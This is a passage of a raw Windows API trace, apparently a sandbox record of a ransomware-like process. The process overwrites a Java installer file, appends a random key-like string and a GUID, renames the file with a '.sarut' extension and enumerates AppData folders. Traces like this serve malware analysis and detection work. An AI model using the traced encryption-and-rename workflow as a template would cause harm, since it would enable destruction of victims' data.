(in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0273.572] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x25800, lpOverlapped=0x0) returned 1 [0273.573] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0273.573] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xdd600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.573] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0273.573] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0273.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0273.573] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x71eaa8 [0273.573] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0273.574] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0273.574] WriteFile (in: hFile=0x5c4, lpBuffer=0x71eaa8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x71eaa8*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0273.574] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71eaa8 | out: hHeap=0x640000) returned 1 [0273.574] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0273.574] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0273.574] CloseHandle (hObject=0x5c4) returned 1 [0273.610] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054800 [0273.610] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8c0) returned 0x311d708 [0273.610] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054800 | out: hHeap=0x640000) returned 1 [0273.610] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi.sarut")) returned 1 [0273.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0273.611] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0273.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x300f168 | out: hHeap=0x640000) returned 1 [0273.612] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68d26e60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45.msi", cAlternateFileName="JRE170~1.MSI")) returned 0 [0273.612] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0273.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0273.612] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31157b0 | out: hHeap=0x640000) returned 1 [0273.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054690 | out: hHeap=0x640000) returned 1 [0273.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054748 | out: hHeap=0x640000) returned 1 [0273.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054b98 | out: hHeap=0x640000) returned 1 [0273.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054c50 | out: hHeap=0x640000) returned 1 [0273.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa50e8 | out: hHeap=0x640000) returned 1 [0273.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3085148 | out: hHeap=0x640000) returned 1 [0273.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb6390 | out: hHeap=0x640000) returned 1 [0273.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3072980 | out: hHeap=0x640000) returned 1 [0273.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x31157b0 [0273.613] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0273.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0273.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0273.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0273.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0273.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.615] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.615] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0273.615] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.615] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.615] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.615] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.615] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.615] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.615] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.615] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.615] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0273.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0273.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.619] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\") returned="Search\\" [0273.619] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0273.619] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0273.619] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa50e8 [0273.619] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0273.619] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0273.619] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0273.619] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0273.619] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0273.619] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0273.619] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0273.619] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0273.619] PathFindFileNameW (pszPath="") returned="" [0273.619] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0273.621] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.621] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0273.621] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.621] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.621] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0273.621] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0273.621] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0273.621] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0273.621] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0273.621] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0273.621] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0273.621] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0273.621] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0273.622] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0273.622] PathFindFileNameW (pszPath="") returned="" [0273.622] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0273.666] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.666] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="all", cAlternateFileName="")) returned 1 [0273.666] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brt", cAlternateFileName="")) returned 1 [0273.666] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brz", cAlternateFileName="")) returned 1 [0273.666] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dan", cAlternateFileName="")) returned 1 [0273.666] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dut", cAlternateFileName="")) returned 1 [0273.666] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eng", cAlternateFileName="")) returned 1 [0273.666] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="frn", cAlternateFileName="")) returned 1 [0273.666] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="grm", cAlternateFileName="")) returned 1 [0273.666] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="itl", cAlternateFileName="")) returned 1 [0273.666] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nrw", cAlternateFileName="")) returned 1 [0273.666] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="prt", cAlternateFileName="")) returned 1 [0273.666] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="spn", cAlternateFileName="")) returned 1 [0273.666] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 1 [0273.666] FindNextFileW (in: hFindFile=0x30914e0, 